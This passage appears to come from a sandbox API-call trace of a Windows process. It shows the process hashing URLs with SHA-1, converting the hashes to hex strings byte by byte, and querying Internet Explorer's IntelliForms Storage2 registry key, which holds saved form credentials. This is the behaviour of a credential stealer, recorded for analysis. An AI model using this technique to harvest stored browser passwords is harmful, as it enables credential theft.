(in: lpString1="E5300737EC", lpString2="37" | out: lpString1="E5300737EC37") returned="E5300737EC37" [0096.588] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.588] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A0") returned 2 [0096.588] lstrlenW (lpString="E5300737EC37") returned 12 [0096.588] lstrlenW (lpString="A0") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.588] lstrcpyW (in: lpString1=0x71cf460, lpString2="E5300737EC37" | out: lpString1="E5300737EC37") returned="E5300737EC37" [0096.588] lstrcatW (in: lpString1="E5300737EC37", lpString2="A0" | out: lpString1="E5300737EC37A0") returned="E5300737EC37A0" [0096.588] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.588] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0096.588] lstrlenW (lpString="E5300737EC37A0") returned 14 [0096.588] lstrlenW (lpString="BB") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.588] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E5300737EC37A0" | out: lpString1="E5300737EC37A0") returned="E5300737EC37A0" [0096.588] lstrcatW (in: lpString1="E5300737EC37A0", lpString2="BB" | out: lpString1="E5300737EC37A0BB") returned="E5300737EC37A0BB" [0096.588] LocalFree (hMem=0x71cf460) returned 0x0 [0096.588] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0096.588] lstrlenW (lpString="E5300737EC37A0BB") returned 16 [0096.588] lstrlenW (lpString="F1") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.588] lstrcpyW (in: lpString1=0x71cf460, lpString2="E5300737EC37A0BB" | out: lpString1="E5300737EC37A0BB") returned="E5300737EC37A0BB" [0096.588] lstrcatW (in: lpString1="E5300737EC37A0BB", lpString2="F1" | out: lpString1="E5300737EC37A0BBF1") returned="E5300737EC37A0BBF1" [0096.589] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0096.589] lstrlenW (lpString="E5300737EC37A0BBF1") returned 18 [0096.589] lstrlenW (lpString="26") returned 2 [0096.589] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.589] lstrcpyW (in: lpString1=0x72912f0, lpString2="E5300737EC37A0BBF1" | out: lpString1="E5300737EC37A0BBF1") returned="E5300737EC37A0BBF1" [0096.589] lstrcatW (in: lpString1="E5300737EC37A0BBF1", lpString2="26" | out: lpString1="E5300737EC37A0BBF126") returned="E5300737EC37A0BBF126" [0096.589] LocalFree (hMem=0x71cf460) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0096.589] lstrlenW (lpString="E5300737EC37A0BBF126") returned 20 [0096.589] lstrlenW (lpString="3B") returned 2 [0096.589] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.589] lstrcpyW (in: lpString1=0x7290b70, lpString2="E5300737EC37A0BBF126" | out: lpString1="E5300737EC37A0BBF126") returned="E5300737EC37A0BBF126" [0096.589] lstrcatW (in: lpString1="E5300737EC37A0BBF126", lpString2="3B" | out: lpString1="E5300737EC37A0BBF1263B") returned="E5300737EC37A0BBF1263B" [0096.589] LocalFree (hMem=0x72912f0) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.589] lstrlenW (lpString="E5300737EC37A0BBF1263B") returned 22 [0096.589] lstrlenW (lpString="E5") returned 2 [0096.589] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.589] lstrcpyW (in: lpString1=0x72912f0, lpString2="E5300737EC37A0BBF1263B" | out: lpString1="E5300737EC37A0BBF1263B") returned="E5300737EC37A0BBF1263B" [0096.589] lstrcatW (in: lpString1="E5300737EC37A0BBF1263B", lpString2="E5" | out: lpString1="E5300737EC37A0BBF1263BE5") returned="E5300737EC37A0BBF1263BE5" [0096.589] LocalFree (hMem=0x7290b70) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="25") returned 2 [0096.589] lstrlenW (lpString="E5300737EC37A0BBF1263BE5") returned 24 [0096.589] lstrlenW (lpString="25") returned 2 [0096.589] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.589] lstrcpyW (in: lpString1=0x7290b70, lpString2="E5300737EC37A0BBF1263BE5" | out: lpString1="E5300737EC37A0BBF1263BE5") returned="E5300737EC37A0BBF1263BE5" [0096.589] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE5", lpString2="25" | out: lpString1="E5300737EC37A0BBF1263BE525") returned="E5300737EC37A0BBF1263BE525" [0096.589] LocalFree (hMem=0x72912f0) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0096.589] lstrlenW (lpString="E5300737EC37A0BBF1263BE525") returned 26 [0096.589] lstrlenW (lpString="CC") returned 2 [0096.589] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.589] lstrcpyW (in: lpString1=0x2815670, lpString2="E5300737EC37A0BBF1263BE525" | out: lpString1="E5300737EC37A0BBF1263BE525") returned="E5300737EC37A0BBF1263BE525" [0096.589] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525", lpString2="CC" | out: lpString1="E5300737EC37A0BBF1263BE525CC") returned="E5300737EC37A0BBF1263BE525CC" [0096.589] LocalFree (hMem=0x7290b70) returned 0x0 [0096.589] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC") returned 28 [0096.590] lstrlenW (lpString="38") returned 2 [0096.590] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.590] lstrcpyW (in: lpString1=0x2815a80, lpString2="E5300737EC37A0BBF1263BE525CC" | out: lpString1="E5300737EC37A0BBF1263BE525CC") returned="E5300737EC37A0BBF1263BE525CC" [0096.590] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC", lpString2="38" | out: lpString1="E5300737EC37A0BBF1263BE525CC38") returned="E5300737EC37A0BBF1263BE525CC38" [0096.590] LocalFree (hMem=0x2815670) returned 0x0 [0096.590] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5B") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC38") returned 30 [0096.590] lstrlenW (lpString="5B") returned 2 [0096.590] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.590] lstrcpyW (in: lpString1=0x2815670, lpString2="E5300737EC37A0BBF1263BE525CC38" | out: lpString1="E5300737EC37A0BBF1263BE525CC38") returned="E5300737EC37A0BBF1263BE525CC38" [0096.590] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC38", lpString2="5B" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B") returned="E5300737EC37A0BBF1263BE525CC385B" [0096.590] LocalFree (hMem=0x2815a80) returned 0x0 [0096.590] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC385B") returned 32 [0096.590] lstrlenW (lpString="87") returned 2 [0096.590] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.590] lstrcpyW (in: lpString1=0x2815a80, lpString2="E5300737EC37A0BBF1263BE525CC385B" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B") returned="E5300737EC37A0BBF1263BE525CC385B" [0096.590] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC385B", lpString2="87" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87") returned="E5300737EC37A0BBF1263BE525CC385B87" [0096.590] LocalFree (hMem=0x2815670) returned 0x0 [0096.590] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FA") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC385B87") returned 34 [0096.590] lstrlenW (lpString="FA") returned 2 [0096.590] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.590] lstrcpyW (in: lpString1=0x28e7670, lpString2="E5300737EC37A0BBF1263BE525CC385B87" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87") returned="E5300737EC37A0BBF1263BE525CC385B87" [0096.590] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC385B87", lpString2="FA" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA") returned="E5300737EC37A0BBF1263BE525CC385B87FA" [0096.590] LocalFree (hMem=0x2815a80) returned 0x0 [0096.590] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC385B87FA") returned 36 [0096.590] lstrlenW (lpString="16") returned 2 [0096.590] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.590] lstrcpyW (in: lpString1=0x28e7910, lpString2="E5300737EC37A0BBF1263BE525CC385B87FA" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA") returned="E5300737EC37A0BBF1263BE525CC385B87FA" [0096.590] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA", lpString2="16" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA16") returned="E5300737EC37A0BBF1263BE525CC385B87FA16" [0096.590] LocalFree (hMem=0x28e7670) returned 0x0 [0096.590] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.590] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC385B87FA16") returned 38 [0096.590] lstrlenW (lpString="22") returned 2 [0096.591] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.591] lstrcpyW (in: lpString1=0x28e7670, lpString2="E5300737EC37A0BBF1263BE525CC385B87FA16" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA16") returned="E5300737EC37A0BBF1263BE525CC385B87FA16" [0096.591] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA16", lpString2="22" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA1622") returned="E5300737EC37A0BBF1263BE525CC385B87FA1622" [0096.591] LocalFree (hMem=0x28e7910) returned 0x0 [0096.591] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="45") returned 2 [0096.591] lstrlenW (lpString="E5300737EC37A0BBF1263BE525CC385B87FA1622") returned 40 [0096.591] lstrlenW (lpString="45") returned 2 [0096.591] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.591] lstrcpyW (in: lpString1=0x28e7910, lpString2="E5300737EC37A0BBF1263BE525CC385B87FA1622" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA1622") returned="E5300737EC37A0BBF1263BE525CC385B87FA1622" [0096.591] lstrcatW (in: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA1622", lpString2="45" | out: lpString1="E5300737EC37A0BBF1263BE525CC385B87FA162245") returned="E5300737EC37A0BBF1263BE525CC385B87FA162245" [0096.591] LocalFree (hMem=0x28e7670) returned 0x0 [0096.591] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.591] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.591] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.591] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.591] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.591] LocalFree (hMem=0x28e7910) returned 0x0 [0096.591] RegEnumValueW (in: hKey=0x368, dwIndex=0x7, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url43", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.591] StrStrIW (lpFirst="wp.com", lpSrch="?") returned 0x0 [0096.591] StrStrIW (lpFirst="wp.com", lpSrch="http://") returned 0x0 [0096.591] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.592] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.592] lstrlenW (lpString="wp.com") returned 6 [0096.592] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0xe, dwFlags=0x0) returned 1 [0096.592] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.592] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.592] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.592] RegEnumValueW (in: hKey=0x368, dwIndex=0x8, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url42", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.592] StrStrIW (lpFirst="asos.com", lpSrch="?") returned 0x0 [0096.592] StrStrIW (lpFirst="asos.com", lpSrch="http://") returned 0x0 [0096.592] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.592] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.592] lstrlenW (lpString="asos.com") returned 8 [0096.592] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0096.592] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.592] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0096.593] lstrlenW (lpString="") returned 0 [0096.593] lstrlenW (lpString="59") returned 2 [0096.593] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.593] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.593] lstrcatW (in: lpString1="", lpString2="59" | out: lpString1="59") returned="59" [0096.593] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0096.593] lstrlenW (lpString="59") returned 2 [0096.593] lstrlenW (lpString="91") returned 2 [0096.593] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.593] lstrcpyW (in: lpString1=0x28c81c0, lpString2="59" | out: lpString1="59") returned="59" [0096.593] lstrcatW (in: lpString1="59", lpString2="91" | out: lpString1="5991") returned="5991" [0096.593] LocalFree (hMem=0x7224580) returned 0x0 [0096.593] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8E") returned 2 [0096.593] lstrlenW (lpString="5991") returned 4 [0096.593] lstrlenW (lpString="8E") returned 2 [0096.593] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.593] lstrcpyW (in: lpString1=0x28c8d00, lpString2="5991" | out: lpString1="5991") returned="5991" [0096.593] lstrcatW (in: lpString1="5991", lpString2="8E" | out: lpString1="59918E") returned="59918E" [0096.593] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.593] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.593] lstrlenW (lpString="59918E") returned 6 [0096.593] lstrlenW (lpString="81") returned 2 [0096.593] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.593] lstrcpyW (in: lpString1=0x28c81c0, lpString2="59918E" | out: lpString1="59918E") returned="59918E" [0096.593] lstrcatW (in: lpString1="59918E", lpString2="81" | out: lpString1="59918E81") returned="59918E81" [0096.593] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.593] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0096.593] lstrlenW (lpString="59918E81") returned 8 [0096.593] lstrlenW (lpString="2E") returned 2 [0096.593] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.593] lstrcpyW (in: lpString1=0x28c8d00, lpString2="59918E81" | out: lpString1="59918E81") returned="59918E81" [0096.593] lstrcatW (in: lpString1="59918E81", lpString2="2E" | out: lpString1="59918E812E") returned="59918E812E" [0096.593] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.593] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0096.593] lstrlenW (lpString="59918E812E") returned 10 [0096.593] lstrlenW (lpString="06") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.594] lstrcpyW (in: lpString1=0x71cf460, lpString2="59918E812E" | out: lpString1="59918E812E") returned="59918E812E" [0096.594] lstrcatW (in: lpString1="59918E812E", lpString2="06" | out: lpString1="59918E812E06") returned="59918E812E06" [0096.594] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.594] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0096.594] lstrlenW (lpString="59918E812E06") returned 12 [0096.594] lstrlenW (lpString="7F") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.594] lstrcpyW (in: lpString1=0x71cfb40, lpString2="59918E812E06" | out: lpString1="59918E812E06") returned="59918E812E06" [0096.594] lstrcatW (in: lpString1="59918E812E06", lpString2="7F" | out: lpString1="59918E812E067F") returned="59918E812E067F" [0096.594] LocalFree (hMem=0x71cf460) returned 0x0 [0096.594] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0096.594] lstrlenW (lpString="59918E812E067F") returned 14 [0096.594] lstrlenW (lpString="EB") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.594] lstrcpyW (in: lpString1=0x71cf460, lpString2="59918E812E067F" | out: lpString1="59918E812E067F") returned="59918E812E067F" [0096.594] lstrcatW (in: lpString1="59918E812E067F", lpString2="EB" | out: lpString1="59918E812E067FEB") returned="59918E812E067FEB" [0096.594] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.594] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0096.594] lstrlenW (lpString="59918E812E067FEB") returned 16 [0096.594] lstrlenW (lpString="46") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.594] lstrcpyW (in: lpString1=0x71cfb40, lpString2="59918E812E067FEB" | out: lpString1="59918E812E067FEB") returned="59918E812E067FEB" [0096.594] lstrcatW (in: lpString1="59918E812E067FEB", lpString2="46" | out: lpString1="59918E812E067FEB46") returned="59918E812E067FEB46" [0096.594] LocalFree (hMem=0x71cf460) returned 0x0 [0096.594] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0096.594] lstrlenW (lpString="59918E812E067FEB46") returned 18 [0096.594] lstrlenW (lpString="9E") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.594] lstrcpyW (in: lpString1=0x7290b70, lpString2="59918E812E067FEB46" | out: lpString1="59918E812E067FEB46") returned="59918E812E067FEB46" [0096.594] lstrcatW (in: lpString1="59918E812E067FEB46", lpString2="9E" | out: lpString1="59918E812E067FEB469E") returned="59918E812E067FEB469E" [0096.594] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.594] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0096.594] lstrlenW (lpString="59918E812E067FEB469E") returned 20 [0096.594] lstrlenW (lpString="56") returned 2 [0096.594] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.594] lstrcpyW (in: lpString1=0x72912f0, lpString2="59918E812E067FEB469E" | out: lpString1="59918E812E067FEB469E") returned="59918E812E067FEB469E" [0096.594] lstrcatW (in: lpString1="59918E812E067FEB469E", lpString2="56" | out: lpString1="59918E812E067FEB469E56") returned="59918E812E067FEB469E56" [0096.595] LocalFree (hMem=0x7290b70) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E56") returned 22 [0096.595] lstrlenW (lpString="06") returned 2 [0096.595] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.595] lstrcpyW (in: lpString1=0x7290b70, lpString2="59918E812E067FEB469E56" | out: lpString1="59918E812E067FEB469E56") returned="59918E812E067FEB469E56" [0096.595] lstrcatW (in: lpString1="59918E812E067FEB469E56", lpString2="06" | out: lpString1="59918E812E067FEB469E5606") returned="59918E812E067FEB469E5606" [0096.595] LocalFree (hMem=0x72912f0) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C6") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E5606") returned 24 [0096.595] lstrlenW (lpString="C6") returned 2 [0096.595] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.595] lstrcpyW (in: lpString1=0x72912f0, lpString2="59918E812E067FEB469E5606" | out: lpString1="59918E812E067FEB469E5606") returned="59918E812E067FEB469E5606" [0096.595] lstrcatW (in: lpString1="59918E812E067FEB469E5606", lpString2="C6" | out: lpString1="59918E812E067FEB469E5606C6") returned="59918E812E067FEB469E5606C6" [0096.595] LocalFree (hMem=0x7290b70) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E5606C6") returned 26 [0096.595] lstrlenW (lpString="9D") returned 2 [0096.595] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.595] lstrcpyW (in: lpString1=0x2815a80, lpString2="59918E812E067FEB469E5606C6" | out: lpString1="59918E812E067FEB469E5606C6") returned="59918E812E067FEB469E5606C6" [0096.595] lstrcatW (in: lpString1="59918E812E067FEB469E5606C6", lpString2="9D" | out: lpString1="59918E812E067FEB469E5606C69D") returned="59918E812E067FEB469E5606C69D" [0096.595] LocalFree (hMem=0x72912f0) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C3") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E5606C69D") returned 28 [0096.595] lstrlenW (lpString="C3") returned 2 [0096.595] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.595] lstrcpyW (in: lpString1=0x2815670, lpString2="59918E812E067FEB469E5606C69D" | out: lpString1="59918E812E067FEB469E5606C69D") returned="59918E812E067FEB469E5606C69D" [0096.595] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69D", lpString2="C3" | out: lpString1="59918E812E067FEB469E5606C69DC3") returned="59918E812E067FEB469E5606C69DC3" [0096.595] LocalFree (hMem=0x2815a80) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3") returned 30 [0096.595] lstrlenW (lpString="F0") returned 2 [0096.595] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.595] lstrcpyW (in: lpString1=0x2815a80, lpString2="59918E812E067FEB469E5606C69DC3" | out: lpString1="59918E812E067FEB469E5606C69DC3") returned="59918E812E067FEB469E5606C69DC3" [0096.595] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3", lpString2="F0" | out: lpString1="59918E812E067FEB469E5606C69DC3F0") returned="59918E812E067FEB469E5606C69DC3F0" [0096.595] LocalFree (hMem=0x2815670) returned 0x0 [0096.595] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0096.595] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3F0") returned 32 [0096.596] lstrlenW (lpString="CA") returned 2 [0096.596] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.596] lstrcpyW (in: lpString1=0x2815670, lpString2="59918E812E067FEB469E5606C69DC3F0" | out: lpString1="59918E812E067FEB469E5606C69DC3F0") returned="59918E812E067FEB469E5606C69DC3F0" [0096.596] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3F0", lpString2="CA" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CA") returned="59918E812E067FEB469E5606C69DC3F0CA" [0096.596] LocalFree (hMem=0x2815a80) returned 0x0 [0096.596] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0096.596] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3F0CA") returned 34 [0096.596] lstrlenW (lpString="ED") returned 2 [0096.596] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.596] lstrcpyW (in: lpString1=0x28e7910, lpString2="59918E812E067FEB469E5606C69DC3F0CA" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CA") returned="59918E812E067FEB469E5606C69DC3F0CA" [0096.596] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3F0CA", lpString2="ED" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED") returned="59918E812E067FEB469E5606C69DC3F0CAED" [0096.596] LocalFree (hMem=0x2815670) returned 0x0 [0096.596] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0096.596] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3F0CAED") returned 36 [0096.596] lstrlenW (lpString="70") returned 2 [0096.596] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.596] lstrcpyW (in: lpString1=0x28e7670, lpString2="59918E812E067FEB469E5606C69DC3F0CAED" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED") returned="59918E812E067FEB469E5606C69DC3F0CAED" [0096.596] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3F0CAED", lpString2="70" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED70") 